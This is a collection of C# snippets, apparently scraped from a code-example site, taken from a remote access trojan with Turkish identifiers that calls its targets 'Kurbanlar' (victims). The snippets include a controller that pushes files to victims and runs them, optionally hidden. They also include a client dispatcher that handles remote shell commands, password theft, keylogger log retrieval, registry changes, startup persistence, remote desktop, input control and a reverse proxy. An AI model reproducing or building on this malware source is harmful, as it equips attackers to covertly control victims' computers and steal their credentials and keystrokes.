示例#1
0
        private void localFileToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (Kurbanlar.SelectedItems.Count != 0)
            {
                using (var frm = new FrmYükleÇalıştır(Kurbanlar.SelectedItems.Count))
                {
                    if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(YükleÇalıştır.FilePath))
                    {
                        new Thread(() =>
                        {
                            bool error = false;
                            foreach (Client c in GetSelectedClients())
                            {
                                if (c == null)
                                {
                                    continue;
                                }
                                if (error)
                                {
                                    continue;
                                }

                                FileSplit srcFile = new FileSplit(YükleÇalıştır.FilePath);
                                if (srcFile.MaxBlocks < 0)
                                {
                                    MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                    "Yükleme İptal Edildi", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                    error = true;
                                    break;
                                }

                                int id = DosyaYardımcısı.GetNewTransferId();

                                Eylemİşleyicisi.HandleSetStatus(c,
                                                                new KuuhakuCekirdek.Paketler.ClientPaketleri.SetStatus("Dosya Yükleniyor..."));

                                for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                {
                                    byte[] block;
                                    if (srcFile.ReadBlock(currentBlock, out block))
                                    {
                                        new KuuhakuCekirdek.Paketler.ServerPaketleri.DoUploadAndExecute(id,
                                                                                                        Path.GetFileName(YükleÇalıştır.FilePath), block, srcFile.MaxBlocks,
                                                                                                        currentBlock, YükleÇalıştır.RunHidden).Execute(c);
                                    }
                                    else
                                    {
                                        MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                        "Yükleme İptal Edildi", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }
                                }
                            }
                        }).Start();
                    }
                }
            }
        }
示例#2
0
 private static void Cleanup()
 {
     Eylemİşleyicisi.CloseShell();
     if (Eylemİşleyicisi.StreamCodec != null)
     {
         Eylemİşleyicisi.StreamCodec.Dispose();
     }
     if (Keylogger.Instance != null)
     {
         Keylogger.Instance.Dispose();
     }
     if (_msgLoop != null)
     {
         _msgLoop.ExitThread();
         _msgLoop.Dispose();
         _msgLoop = null;
     }
     MutexHelper.CloseMutex();
 }
示例#3
0
        private void OnClientRead(Client client, IPacket packet)
        {
            var type = packet.GetType();

            if (!Authenticated)
            {
                if (type == typeof(Paketler.ServerPaketleri.GetAuthentication))
                {
                    Eylemİşleyicisi.HandleGetAuthentication((Paketler.ServerPaketleri.GetAuthentication)packet, client);
                }
                else if (type == typeof(Paketler.ServerPaketleri.SetAuthenticationSuccess))
                {
                    Authenticated = true;
                }
                return;
            }

            PacketHandler.HandlePacket(client, packet);
        }
示例#4
0
        private void OnClientRead(Server server, Client client, IPacket packet)
        {
            var type = packet.GetType();

            if (!client.Authenticated)
            {
                if (type == typeof(Paketler.ClientPaketleri.GetAuthenticationResponse))
                {
                    client.Authenticated = true;
                    new Paketler.ServerPaketleri.SetAuthenticationSuccess().Execute(client); // finish handshake
                    Eylemİşleyicisi.HandleGetAuthenticationResponse(client,
                                                                    (Paketler.ClientPaketleri.GetAuthenticationResponse)packet);
                    OnClientConnected(client);
                }
                else
                {
                    client.Disconnect();
                }
                return;
            }

            Packetİşleyicisi.HandlePacket(client, packet);
        }
示例#5
0
        public static void HandlePacket(Client client, IPacket packet)
        {
            var type = packet.GetType();

            if (type == typeof(ServerPaketleri.DoDownloadAndExecute))
            {
                Eylemİşleyicisi.HandleDoDownloadAndExecute((ServerPaketleri.DoDownloadAndExecute)packet,
                                                           client);
            }
            else if (type == typeof(ServerPaketleri.DoUploadAndExecute))
            {
                Eylemİşleyicisi.HandleDoUploadAndExecute((ServerPaketleri.DoUploadAndExecute)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoClientDisconnect))
            {
                Program.ConnectClient.Exit();
            }
            else if (type == typeof(ServerPaketleri.DoClientReconnect))
            {
                Program.ConnectClient.Disconnect();
            }
            else if (type == typeof(ServerPaketleri.DoClientUninstall))
            {
                Eylemİşleyicisi.HandleDoClientUninstall((ServerPaketleri.DoClientUninstall)packet, client);
            }
            else if (type == typeof(ServerPaketleri.GetDesktop))
            {
                Eylemİşleyicisi.HandleGetDesktop((ServerPaketleri.GetDesktop)packet, client);
            }
            else if (type == typeof(ServerPaketleri.GetProcesses))
            {
                Eylemİşleyicisi.HandleGetProcesses((ServerPaketleri.GetProcesses)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoProcessKill))
            {
                Eylemİşleyicisi.HandleDoProcessKill((ServerPaketleri.DoProcessKill)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoProcessStart))
            {
                Eylemİşleyicisi.HandleDoProcessStart((ServerPaketleri.DoProcessStart)packet, client);
            }
            else if (type == typeof(ServerPaketleri.GetDrives))
            {
                Eylemİşleyicisi.HandleGetDrives((ServerPaketleri.GetDrives)packet, client);
            }
            else if (type == typeof(ServerPaketleri.GetDirectory))
            {
                Eylemİşleyicisi.HandleGetDirectory((ServerPaketleri.GetDirectory)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoDownloadFile))
            {
                Eylemİşleyicisi.HandleDoDownloadFile((ServerPaketleri.DoDownloadFile)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoUploadFile))
            {
                Eylemİşleyicisi.HandleDoUploadFile((ServerPaketleri.DoUploadFile)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoMouseEvent))
            {
                Eylemİşleyicisi.HandleDoMouseEvent((ServerPaketleri.DoMouseEvent)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoKeyboardEvent))
            {
                Eylemİşleyicisi.HandleDoKeyboardEvent((ServerPaketleri.DoKeyboardEvent)packet, client);
            }
            else if (type == typeof(ServerPaketleri.GetSystemInfo))
            {
                Eylemİşleyicisi.HandleGetSystemInfo((ServerPaketleri.GetSystemInfo)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoVisitWebsite))
            {
                Eylemİşleyicisi.HandleDoVisitWebsite((ServerPaketleri.DoVisitWebsite)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoShowMessageBox))
            {
                Eylemİşleyicisi.HandleDoShowMessageBox((ServerPaketleri.DoShowMessageBox)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoClientUpdate))
            {
                Eylemİşleyicisi.HandleDoClientUpdate((ServerPaketleri.DoClientUpdate)packet, client);
            }
            else if (type == typeof(ServerPaketleri.GetMonitors))
            {
                Eylemİşleyicisi.HandleGetMonitors((ServerPaketleri.GetMonitors)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoShellExecute))
            {
                Eylemİşleyicisi.HandleDoShellExecute((ServerPaketleri.DoShellExecute)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoPathRename))
            {
                Eylemİşleyicisi.HandleDoPathRename((ServerPaketleri.DoPathRename)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoPathDelete))
            {
                Eylemİşleyicisi.HandleDoPathDelete((ServerPaketleri.DoPathDelete)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoShutdownAction))
            {
                Eylemİşleyicisi.HandleDoShutdownAction((ServerPaketleri.DoShutdownAction)packet, client);
            }
            else if (type == typeof(ServerPaketleri.GetStartupItems))
            {
                Eylemİşleyicisi.HandleGetStartupItems((ServerPaketleri.GetStartupItems)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoStartupItemAdd))
            {
                Eylemİşleyicisi.HandleDoStartupItemAdd((ServerPaketleri.DoStartupItemAdd)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoStartupItemRemove))
            {
                Eylemİşleyicisi.HandleDoStartupItemRemove((ServerPaketleri.DoStartupItemRemove)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoDownloadFileCancel))
            {
                Eylemİşleyicisi.HandleDoDownloadFileCancel((ServerPaketleri.DoDownloadFileCancel)packet,
                                                           client);
            }
            else if (type == typeof(ServerPaketleri.DoLoadRegistryKey))
            {
                Eylemİşleyicisi.HandleGetRegistryKey((ServerPaketleri.DoLoadRegistryKey)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoCreateRegistryKey))
            {
                Eylemİşleyicisi.HandleCreateRegistryKey((ServerPaketleri.DoCreateRegistryKey)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoDeleteRegistryKey))
            {
                Eylemİşleyicisi.HandleDeleteRegistryKey((ServerPaketleri.DoDeleteRegistryKey)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoRenameRegistryKey))
            {
                Eylemİşleyicisi.HandleRenameRegistryKey((ServerPaketleri.DoRenameRegistryKey)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoCreateRegistryValue))
            {
                Eylemİşleyicisi.HandleCreateRegistryValue((ServerPaketleri.DoCreateRegistryValue)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoDeleteRegistryValue))
            {
                Eylemİşleyicisi.HandleDeleteRegistryValue((ServerPaketleri.DoDeleteRegistryValue)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoRenameRegistryValue))
            {
                Eylemİşleyicisi.HandleRenameRegistryValue((ServerPaketleri.DoRenameRegistryValue)packet, client);
            }
            else if (type == typeof(ServerPaketleri.DoChangeRegistryValue))
            {
                Eylemİşleyicisi.HandleChangeRegistryValue((ServerPaketleri.DoChangeRegistryValue)packet, client);
            }
            else if (type == typeof(ServerPaketleri.GetKeyloggerLogs))
            {
                Eylemİşleyicisi.HandleGetKeyloggerLogs((ServerPaketleri.GetKeyloggerLogs)packet, client);
            }
            else if (type == typeof(ServerPaketleri.GetPasswords))
            {
                Eylemİşleyicisi.HandleGetPasswords((ServerPaketleri.GetPasswords)packet, client);
            }
            else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnect) ||
                     type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) ||
                     type == typeof(ReverseProxy.Packets.ReverseProxyData) ||
                     type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect))
            {
                ReverseProxyCommandHandler.HandleCommand(client, packet);
            }
        }
示例#6
0
        private void updateToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (Kurbanlar.SelectedItems.Count != 0)
            {
                using (var frm = new FrmGüncelle(Kurbanlar.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        if (KuuhakuCekirdek.Veri.Update.İndirU)
                        {
                            foreach (Client c in GetSelectedClients())
                            {
                                new KuuhakuCekirdek.Paketler.ServerPaketleri.DoClientUpdate(0, KuuhakuCekirdek.Veri.Update.İndirmeURLsi, string.Empty, new byte[0x00], 0, 0).Execute(c);
                            }
                        }
                        else
                        {
                            new Thread(() =>
                            {
                                bool error = false;
                                foreach (Client c in GetSelectedClients())
                                {
                                    if (c == null)
                                    {
                                        continue;
                                    }
                                    if (error)
                                    {
                                        continue;
                                    }

                                    FileSplit srcFile = new FileSplit(KuuhakuCekirdek.Veri.Update.YüklemeDizini);
                                    if (srcFile.MaxBlocks < 0)
                                    {
                                        MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                        "Yükleme İptal", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }

                                    int id = DosyaYardımcısı.GetNewTransferId();

                                    Eylemİşleyicisi.HandleSetStatus(c,
                                                                    new KuuhakuCekirdek.Paketler.ClientPaketleri.SetStatus("Dosya Yükleniyor..."));

                                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                    {
                                        byte[] block;
                                        if (!srcFile.ReadBlock(currentBlock, out block))
                                        {
                                            MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                            "Yükleme İptal", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                            error = true;
                                            break;
                                        }
                                        new KuuhakuCekirdek.Paketler.ServerPaketleri.DoClientUpdate(id, string.Empty, string.Empty, block, srcFile.MaxBlocks, currentBlock).Execute(c);
                                    }
                                }
                            }).Start();
                        }
                    }
                }
            }
        }
示例#7
0
        public static void HandlePacket(Client client, IPacket packet)
        {
            if (client == null || client.Value == null)
            {
                return;
            }

            var type = packet.GetType();

            if (type == typeof(SetStatus))
            {
                Eylemİşleyicisi.HandleSetStatus(client, (SetStatus)packet);
            }
            else if (type == typeof(SetUserStatus))
            {
                Eylemİşleyicisi.HandleSetUserStatus(client, (SetUserStatus)packet);
            }
            else if (type == typeof(GetDesktopResponse))
            {
                Eylemİşleyicisi.HandleGetDesktopResponse(client, (GetDesktopResponse)packet);
            }
            else if (type == typeof(GetProcessesResponse))
            {
                Eylemİşleyicisi.HandleGetProcessesResponse(client,
                                                           (GetProcessesResponse)packet);
            }
            else if (type == typeof(GetDrivesResponse))
            {
                Eylemİşleyicisi.HandleGetDrivesResponse(client, (GetDrivesResponse)packet);
            }
            else if (type == typeof(GetDirectoryResponse))
            {
                Eylemİşleyicisi.HandleGetDirectoryResponse(client, (GetDirectoryResponse)packet);
            }
            else if (type == typeof(DoDownloadFileResponse))
            {
                Eylemİşleyicisi.HandleDoDownloadFileResponse(client,
                                                             (DoDownloadFileResponse)packet);
            }
            else if (type == typeof(GetSystemInfoResponse))
            {
                Eylemİşleyicisi.HandleGetSystemInfoResponse(client,
                                                            (GetSystemInfoResponse)packet);
            }
            else if (type == typeof(GetMonitorsResponse))
            {
                Eylemİşleyicisi.HandleGetMonitorsResponse(client, (GetMonitorsResponse)packet);
            }
            else if (type == typeof(DoShellExecuteResponse))
            {
                Eylemİşleyicisi.HandleDoShellExecuteResponse(client,
                                                             (DoShellExecuteResponse)packet);
            }
            else if (type == typeof(GetStartupItemsResponse))
            {
                Eylemİşleyicisi.HandleGetStartupItemsResponse(client,
                                                              (GetStartupItemsResponse)packet);
            }
            else if (type == typeof(GetKeyloggerLogsResponse))
            {
                Eylemİşleyicisi.HandleGetKeyloggerLogsResponse(client, (GetKeyloggerLogsResponse)packet);
            }
            else if (type == typeof(GetRegistryKeysResponse))
            {
                Eylemİşleyicisi.HandleLoadRegistryKey((GetRegistryKeysResponse)packet, client);
            }
            else if (type == typeof(GetCreateRegistryKeyResponse))
            {
                Eylemİşleyicisi.HandleCreateRegistryKey((GetCreateRegistryKeyResponse)packet, client);
            }
            else if (type == typeof(GetDeleteRegistryKeyResponse))
            {
                Eylemİşleyicisi.HandleDeleteRegistryKey((GetDeleteRegistryKeyResponse)packet, client);
            }
            else if (type == typeof(GetRenameRegistryKeyResponse))
            {
                Eylemİşleyicisi.HandleRenameRegistryKey((GetRenameRegistryKeyResponse)packet, client);
            }
            else if (type == typeof(GetCreateRegistryValueResponse))
            {
                Eylemİşleyicisi.HandleCreateRegistryValue((GetCreateRegistryValueResponse)packet, client);
            }
            else if (type == typeof(GetDeleteRegistryValueResponse))
            {
                Eylemİşleyicisi.HandleDeleteRegistryValue((GetDeleteRegistryValueResponse)packet, client);
            }
            else if (type == typeof(GetRenameRegistryValueResponse))
            {
                Eylemİşleyicisi.HandleRenameRegistryValue((GetRenameRegistryValueResponse)packet, client);
            }
            else if (type == typeof(GetChangeRegistryValueResponse))
            {
                Eylemİşleyicisi.HandleChangeRegistryValue((GetChangeRegistryValueResponse)packet, client);
            }
            else if (type == typeof(GetPasswordsResponse))
            {
                Eylemİşleyicisi.HandleGetPasswordsResponse(client, (GetPasswordsResponse)packet);
            }
            else if (type == typeof(SetStatusFileManager))
            {
                Eylemİşleyicisi.HandleSetStatusFileManager(client, (SetStatusFileManager)packet);
            }
            else if (type == typeof(ReverseProxyConnectResponse) ||
                     type == typeof(ReverseProxyData) ||
                     type == typeof(ReverseProxyDisconnect))
            {
                ReverseProxyCommandHandler.HandleCommand(client, packet);
            }
        }
示例#8
0
 private void LostConnection()
 {
     Eylemİşleyicisi.CloseShell();
 }